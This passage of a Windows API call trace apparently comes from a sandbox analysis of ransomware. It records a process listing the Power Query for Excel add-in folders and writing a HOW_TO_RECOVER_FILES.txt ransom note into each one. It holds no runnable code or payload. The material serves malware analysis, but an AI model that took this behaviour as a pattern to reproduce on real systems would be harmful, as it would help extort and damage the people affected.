ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.717] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc240ad7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc240ad7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0214.718] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5fc257f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5fc257f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6034d6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0214.718] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6270fd0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0214.718] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa89f599, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae22cc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8caa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0214.718] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa89f599, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae22cc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8caa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0214.718] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0214.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0214.719] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0214.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0214.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0214.721] GetFileType (hFile=0x808) returned 0x1 [0214.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0214.721] GetFileType (hFile=0x808) returned 0x1 [0214.722] WriteFile (in: hFile=0x808, lpBuffer=0x3557e28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x3557e28*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0214.723] CloseHandle (hObject=0x808) returned 1 [0214.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0214.723] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja", lpFilePart=0x0) returned 0x68 [0214.723] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.724] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.724] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d05722, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0214.724] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x91adba5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91d3da7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0214.724] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0214.724] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbda21cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x94aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0214.724] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.725] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0214.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0214.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0214.725] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja", lpFilePart=0x0) returned 0x68 [0214.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.726] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.726] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d05722, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0214.727] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x91adba5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91d3da7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0214.727] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0214.727] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbda21cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x94aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0214.727] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbda21cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x94aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0214.727] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0214.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0214.728] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0214.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0214.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0214.729] GetFileType (hFile=0x808) returned 0x1 [0214.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0214.729] GetFileType (hFile=0x808) returned 0x1 [0214.730] WriteFile (in: hFile=0x808, lpBuffer=0x356b640*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x356b640*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0214.731] CloseHandle (hObject=0x808) returned 1 [0214.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0214.731] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk", lpFilePart=0x0) returned 0x68 [0214.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.985] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.985] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0214.985] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d2b978, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0214.986] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x51c07e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51c07e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51c07e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0214.986] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56f7a52, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56f7a52, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x595a0ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0214.986] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.986] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0214.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0214.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0214.987] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk", lpFilePart=0x0) returned 0x68 [0214.987] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.988] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.988] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0214.988] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d2b978, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0214.988] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x51c07e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51c07e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51c07e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0214.988] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56f7a52, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56f7a52, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x595a0ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0214.989] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56f7a52, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56f7a52, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x595a0ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0214.989] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0214.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0214.990] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 